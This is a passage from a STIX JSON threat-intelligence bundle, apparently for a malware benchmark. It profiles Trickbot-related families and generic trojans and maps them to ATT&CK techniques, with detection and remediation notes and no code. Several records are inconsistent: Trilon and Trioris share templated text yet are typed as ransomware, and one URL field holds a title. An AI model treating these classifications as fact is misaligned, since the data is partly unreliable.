      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trialkiller exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f9da896-6fec-58c7-9c8b-449866258664",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10d29df8-8a69-5e97-b101-3832e0d8fc71",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trialkiller exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--88cb76dc-dca4-552f-81a7-827a1c7b460c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trick",
      "description": "Trojan:Win32/Trick (universally known as **Trickbot**) is one of the most successful, devastating, and modular malware families in history. Originally emerging in 2016 as a banking trojan designed to steal financial credentials via web injects, Trickbot evolved into a massive, modular botnet. Crucially, the operators of Trickbot transitioned to an 'Initial Access Broker' (IAB) model, using their massive network of infected enterprise machines to deploy devastating ransomware (specifically **Ryuk** and **Conti**) on behalf of top-tier cybercriminal syndicates.<br><br><b>Understanding Trickbot</b><br>To an end-user, the infection is invisible until the ransomware payload drops. For security analysts, a Trickbot detection is a 'code red' emergency. It means the organization's perimeter has been breached, lateral movement is likely already occurring, and a massive, enterprise-wide ransomware encryption event is imminent, often within 24-48 hours.<br><br><b>Execution, Modularity, and Ransomware Mechanics</b><br>Trickbot was distributed massively via Emotet malspam campaigns (`T1566.001`). Upon execution (`T1204.002`), Trickbot establishes persistence via Scheduled Tasks (`T1053.005`) and disables Windows Defender (`T1562.001`). Its true power lies in its modularity (`T1105`); it pulls down specific plugins (DLLs) from the C2 server based on the target. It uses modules like `pwgrab` to steal browser credentials, `networkDll` to map the corporate network (`T1046`), and `mshare` to aggressively move laterally via SMB exploits like EternalBlue (`T1210`). Finally, once domain admin privileges are secured, the operators push the final payload: a Cobalt Strike beacon, followed rapidly by Ryuk or Conti ransomware deployment across the entire domain (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total enterprise destruction via ransomware. The primary EDR IoCs include `svchost.exe` making anomalous outbound connections to known Trickbot C2s, the creation of specific Scheduled Tasks (often mimicking legitimate Windows tasks), and massive, rapid lateral SMB scanning originating from a single endpoint. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trick",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trick"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44424b3f-42cf-583a-b741-951e6f601a26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88cb76dc-dca4-552f-81a7-827a1c7b460c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trick exhibits technique T1105 (Ingress Tool Transfer (Downloading modular plugins/ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea7e6911-a517-53e1-8cda-d621a81cf104",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88cb76dc-dca4-552f-81a7-827a1c7b460c",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trick exhibits technique T1210 (Exploitation of Remote Services (Lateral movement via SMB))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed30a558-9aa4-595b-a321-1b7cfd3ac04e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88cb76dc-dca4-552f-81a7-827a1c7b460c",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trick exhibits technique T1486 (Data Encrypted for Impact (Deploying Ryuk/Conti Ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33067efa-d7c9-55e1-9188-1db5256be0d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88cb76dc-dca4-552f-81a7-827a1c7b460c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trick exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Defender))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8aad7935-5c36-5724-80b6-b920bc4c6c7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88cb76dc-dca4-552f-81a7-827a1c7b460c",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trick exhibits technique T1555 (Credentials from Password Stores (pwgrab module))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--92a7bbea-df18-51e8-aa20-a0126ca56342",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trickbot",
      "description": "TrickBot (often dubbed Trickloader or Totep) is one of the most prolific and dangerous modular trojans and enterprise access vectors in modern cybercrime history. Developed in 2016 by the Russian-speaking cybercrime syndicate known as Wizard Spider (UNC1878 / Gold Blackburn), TrickBot was built as the direct successor to the Dyre banking trojan, maintaining many of its core architectural principles while vastly expanding its modular attack capabilities.\n\nTrickBot features a dynamic plug-in architecture, downloading specialized binary modules on demand to carry out specific malicious objectives. These modules include injectDll (man-in-the-browser webinjections against financial portals), pwgrab (stealing credentials from browsers, email clients, and remote desktop caches), networkDll (active Active Directory and network topology reconnaissance), and wormingDll (lateral movement utilizing the EternalBlue SMB exploit, CVE-2017-0144). Over its lifecycle, TrickBot served as the primary beachhead for high-impact ransomware deployments, including Ryuk and Conti. In 2021 and 2023, the U.S. Department of Justice unsealed indictments against key TrickBot software engineers Alla Witte and Vladimir Dunaev, resulting in federal convictions, while the U.S. Treasury (OFAC) and the UK National Crime Agency (NCA) levied joint financial sanctions against 11 core members. (Observed samples in benchmark: 466)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrickBot",
        "Trickloader",
        "Totep",
        "Totbrick",
        "TSPY_TRICKLOAD"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trickbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trickbot"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA21-076A: TrickBot Malware"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd7e9e4a-5bd8-5141-8c65-b14fdfa7fa56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92a7bbea-df18-51e8-aa20-a0126ca56342",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickbot exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f004c2c-7d9e-58ba-980e-a797455072a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92a7bbea-df18-51e8-aa20-a0126ca56342",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c38e0006-36e6-5fd1-80df-d57f698e5555",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92a7bbea-df18-51e8-aa20-a0126ca56342",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickbot exhibits technique T1053.005 (Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18b86414-41d3-5ac7-8d6a-d4c6b69bea6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92a7bbea-df18-51e8-aa20-a0126ca56342",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickbot exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b64320e-a19d-5601-9bb3-74d4fc7a0413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trickster",
      "description": "Trickster (widely known across threat intelligence and cybersecurity communities under vendor detections including Trojan:Win32/Trickster, Trojan-Banker.Win32.Trickster, and TrickLoader) is a recognized alias and detection signature for TrickBot, the infamous modular banking trojan and malware loader operated by Russian-speaking cybercrime group WIZARD SPIDER (UNC1878). First emerging in late 2016 as a successor to Dyre, TrickBot/Trickster evolved from a financial credential stealer into one of the most sophisticated cybercrime frameworks in history, subject to official CISA Cybersecurity Advisory AA20-302A. Distributed via malicious spam (malspam) campaigns, weaponized Microsoft Office macro documents, and secondary infections from Emotet, Trickster deploys a modular architecture that dynamically downloads encrypted DLL modules from command-and-control servers. Its capabilities include web-inject banking credential theft, Active Directory and LDAP domain reconnaissance, lateral movement via EternalBlue (MS17-010) and SMB propagation, Mimikatz-based LSASS credential dumping, and staging high-impact enterprise ransomware families including Ryuk and Conti. (Observed samples in benchmark: 93)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Trickster",
        "TrickBot",
        "TrickLoader",
        "Trojan-Banker.Win32.Trickster"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trickster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trickster"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-302A"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30b30417-9fd3-5449-867f-d3d346cc7c7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b64320e-a19d-5601-9bb3-74d4fc7a0413",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickster exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2285860f-33b8-59c2-9a48-cb0b05ccfcf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b64320e-a19d-5601-9bb3-74d4fc7a0413",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickster exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57c8f72b-1b43-59f0-b0cc-f97b59dafa1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b64320e-a19d-5601-9bb3-74d4fc7a0413",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickster exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40a3da92-a606-5ae2-a02c-5eede9af5e58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b64320e-a19d-5601-9bb3-74d4fc7a0413",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickster exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe3ce73a-8c54-5d0d-a6ce-c8b49c8c6dd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b64320e-a19d-5601-9bb3-74d4fc7a0413",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trickster exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3250a428-b747-57f8-93e3-b9bdd32993e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trilon",
      "description": "<h3>Executive Summary</h3>\nTrilon is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTrilon is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Trilon operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Trilon ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Trilon receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Trilon infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Trilon executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Trilon frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Trilon",
        "Downloader.Trilon",
        "Win32/Trilon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trilon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trilon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43b8a832-9696-5e52-b424-e23f8ff860f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3250a428-b747-57f8-93e3-b9bdd32993e8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trilon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c86b0770-c723-5a08-9e3d-6e4364d6f3f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3250a428-b747-57f8-93e3-b9bdd32993e8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trilon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea8ef165-2744-5b89-9744-913f672d97b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3250a428-b747-57f8-93e3-b9bdd32993e8",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trilon exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ffcc129e-41da-5365-9d6e-99d61becc7fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trioris",
      "description": "<h3>Executive Summary</h3>\nTrioris is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTrioris is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Trioris operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Trioris ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Trioris receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Trioris infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Trioris executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Trioris frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Trioris",
        "Downloader.Trioris",
        "Win32/Trioris"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trioris",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trioris"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1987389e-c09f-5654-b7d7-b9a5ad1dc819",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffcc129e-41da-5365-9d6e-99d61becc7fb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trioris exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ba5b5f3-c977-50fc-af15-e2d50013af71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffcc129e-41da-5365-9d6e-99d61becc7fb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trioris exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bedb65c9-1c3f-5c5b-83df-294b28977bd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffcc129e-41da-5365-9d6e-99d61becc7fb",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trioris exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e52455d9-1318-5ea8-a25b-7e3f99fcf898",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Triusor",
      "description": "Trojan:Win32/Triusor (cataloged across security telemetry as Trojan.Triusor, Downloader.Triusor, or Win32/Triusor) is a modular Windows trojan downloader and dropper designed to establish footholds on endpoint systems and download auxiliary malware payloads. Frequently packaged alongside pirated software installers, video game trainers, or malicious macro attachments in phishing emails, Triusor executes an unpacking routine in memory to evade signature-based file scanners. Once running, Triusor gathers endpoint metadata\u2014such as operating system build, network adapters, and running security processes\u2014and exfiltrates this telemetry to remote command servers. The trojan then receives instructions to download secondary binaries, which are written into volatile memory or hidden temporary folders and executed with elevated privileges. (Observed samples in benchmark: 1,429)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Triusor",
        "Trojan:Win32/Triusor",
        "Trojan.Triusor",
        "Downloader.Triusor",
        "Win32/Triusor",
        "Triusor Dropper",
        "Trojan:Win32/Triusor.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Triusor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/triusor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0dba95d-21df-5174-822d-e39f0e291834",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e52455d9-1318-5ea8-a25b-7e3f99fcf898",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Triusor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d792f63b-4399-5f41-a045-5f95f070e6ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e52455d9-1318-5ea8-a25b-7e3f99fcf898",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Triusor exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd3643d7-55e0-5b48-8409-51371803c6a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e52455d9-1318-5ea8-a25b-7e3f99fcf898",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Triusor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8347fda-5249-5794-aa3a-fd931b8fc962",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e52455d9-1318-5ea8-a25b-7e3f99fcf898",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Triusor exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf0d89bb-e42a-5817-8dea-9479bbd36fe7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e52455d9-1318-5ea8-a25b-7e3f99fcf898",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Triusor exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca49f36d-4b02-58b6-9bdc-c1693b96e480",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e52455d9-1318-5ea8-a25b-7e3f99fcf898",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Triusor exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--635dc6e1-3740-5cab-a905-81806e2f026d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trjgen",
      "description": "Trojan:Win32/Trjgen is not a specific malware family, but rather a **Generic Heuristic Detection** (short for 'Trojan Generic'). It indicates that an antivirus engine has identified an executable file that exhibits behaviors, code structures, or API call sequences that strongly correlate with malicious trojan activity, even though no exact signature exists for the file in the AV database.<br><br><b>Understanding Generic Trojan Detections</b><br>To an end-user, a Trjgen alert appears as a standard virus warning. For a security analyst, a generic detection is a crucial early warning sign. It often indicates an encounter with a newly compiled (zero-day) threat, a heavily packed variant of known malware that has bypassed static signatures, or a custom-built tool used by an Advanced Persistent Threat (APT) group.<br><br><b>Execution and Suspicious Mechanics</b><br>Because 'Trjgen' is a generic label, the specific mechanics vary widely. The detection is usually triggered by dynamic analysis (in a micro-sandbox) or behavioral monitoring. The file may have attempted to silently drop an executable into the `System32` directory (`T1036`), tried to inject code into a running system process (`T1055`), modified critical registry keys to establish persistence (`T1547.001`), or initiated 